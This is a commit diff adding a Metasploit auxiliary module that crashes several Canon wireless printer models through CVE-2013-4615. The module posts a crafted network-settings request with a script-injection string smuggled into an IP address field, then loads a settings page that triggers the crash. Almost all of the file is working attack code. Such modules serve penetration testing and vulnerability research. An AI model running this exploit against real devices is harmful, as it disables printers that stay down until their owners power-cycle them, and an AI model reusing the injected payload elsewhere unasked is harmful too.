Land rapid7#1981 - Canon Wireless Printer Denial of Service

Author: wchen-r7

modules/auxiliary/dos/http/canon_wireless_printer.rb

@@ -0,0 +1,93 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Canon Wireless Printer Denial Of Service',
+			'Description'    => %q{
+				The HTTP management interface on several models of Canon Wireless printers
+				allows for a Denial of Service condition via a crafted HTTP request. This
+				requires the device to be turned off and back on again to restore use.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+			[
+				'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
+			],
+			'References'     => [
+				[ 'CVE', '2013-4615' ],
+				[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
+			],
+			'DisclosureDate' => 'Jun 18 2013'))
+	end
+
+	def is_alive?
+		res = send_request_raw({
+			'method'	=>	'GET',
+			'uri'		=>	'/',
+		},10)
+
+		return !res.nil?
+	end
+
+	def run
+
+		begin
+
+			# The first request will set the new IP
+			res = send_request_cgi({
+				'method'	=>	'POST',
+				'uri'		=>	'/English/pages_MacUS/cgi_lan.cgi',
+				'data'		=>	'OK.x=61' +
+					'&OK.y=12' +
+					'&LAN_OPT1=2' +
+					'&LAN_TXT1=Wireless' +
+					'&LAN_OPT3=1' +
+					'&LAN_TXT21=192' +
+					'&LAN_TXT22=168' +
+					'&LAN_TXT23=1' +
+					'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
+					'&LAN_TXT31=255' +
+					'&LAN_TXT32=255' +
+					'&LAN_TXT33=255' +
+					'&LAN_TXT34=0' +
+					'&LAN_TXT41=192' +
+					'&LAN_TXT42=168' +
+					'&LAN_TXT43=1' +
+					'&LAN_TXT44=1' +
+					'&LAN_OPT2=4' +
+					'&LAN_OPT4=1' +
+					'&LAN_HID1=1'
+			})
+
+			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
+				print_error("Couldn't connect to #{rhost}:#{rport}")
+			return
+		end
+
+		# The second request will load the network options page, which seems to trigger the DoS
+		send_request_cgi({
+			'method'	=>	'GET',
+			'uri'		=>	'/English/pages_MacUS/lan_set_content.html'
+		},5) #default timeout, we don't care about the response
+
+		# Check to see if it worked or not
+		if is_alive?
+			print_error("#{rhost}:#{rport} - Server is still alive")
+		else
+			print_good("#{rhost}:#{rport} - Connection Refused: Success!")
+		end
+
+	end
+end